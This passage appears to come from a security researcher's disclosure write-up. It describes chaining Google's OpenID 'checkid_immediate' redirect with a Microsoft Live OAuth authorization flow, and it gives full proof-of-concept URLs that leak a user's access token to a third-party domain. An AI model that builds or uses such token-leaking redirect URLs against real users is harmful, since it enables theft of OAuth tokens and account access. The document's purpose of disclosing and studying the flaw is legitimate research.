It works like this - whenever "checkid_immediate" mode is used it redirects without any questions asked. And here's an example in accounts.google.com:
https://accounts.google.com/o/openid2/auth?openid.claimed_id=http://specs.openid.net/auth/2.0/identifier_select&openid.ext0.mode=fetch_request&openid.ext0.required=email&openid.ext0.type.email=http://axschema.org/contact/email&openid.identity=http://specs.openid.net/auth/2.0/identifier_select&openid.mode=checkid_immediate&openid.ns=http://specs.openid.net/auth/2.0&openid.ns.ext0=http://openid.net/srv/ax/1.0&openid.ns.ui=http://specs.openid.net/extensions/ui/1.0&openid.realm=http://www.simcracy.com/&openid.return_to=http://www.simcracy.com/a#a
For a full exploit let's just use OAuth app (created by Google) that imports some data from Microsoft:
https://login.live.com/oauth20_authorize.srf?response_type=token&client_id=00000000401058A9&scope=wl.emails&redirect_uri=https://accounts.google.comAnd here's the full Proof of Concept:
https://login.live.com/oauth20_authorize.srf?response_type=token&client_id=00000000401058A9&scope=wl.emails&redirect_uri=https://accounts.google.com/o/openid2/auth%3Fopenid.claimed_id%3Dhttp://specs.openid.net/auth/2.0/identifier_select%26openid.ext0.mode%3Dfetch_request%26openid.ext0.required%3Demail%26openid.ext0.type.email%3Dhttp://axschema.org/contact/email%26openid.identity%3Dhttp://specs.openid.net/auth/2.0/identifier_select%26openid.mode%3Dcheckid_immediate%26openid.ns%3Dhttp://specs.openid.net/auth/2.0%26openid.ns.ext0%3Dhttp://openid.net/srv/ax/1.0%26openid.ns.ui%3Dhttp://specs.openid.net/extensions/ui/1.0%26openid.realm%3Dhttps://www.courlandconsulting.com/%26openid.return_to%3Dhttps://www.courlandconsulting.com/a%23a
If you now inspect the URL, you'll notice that token was sent to my third party site.
And here the real problem with Authentication Providers comes in - is this a Relying Party (Google) or Authentication Provider (Microsoft) problem? Whatever the answer - users are the ones suffering.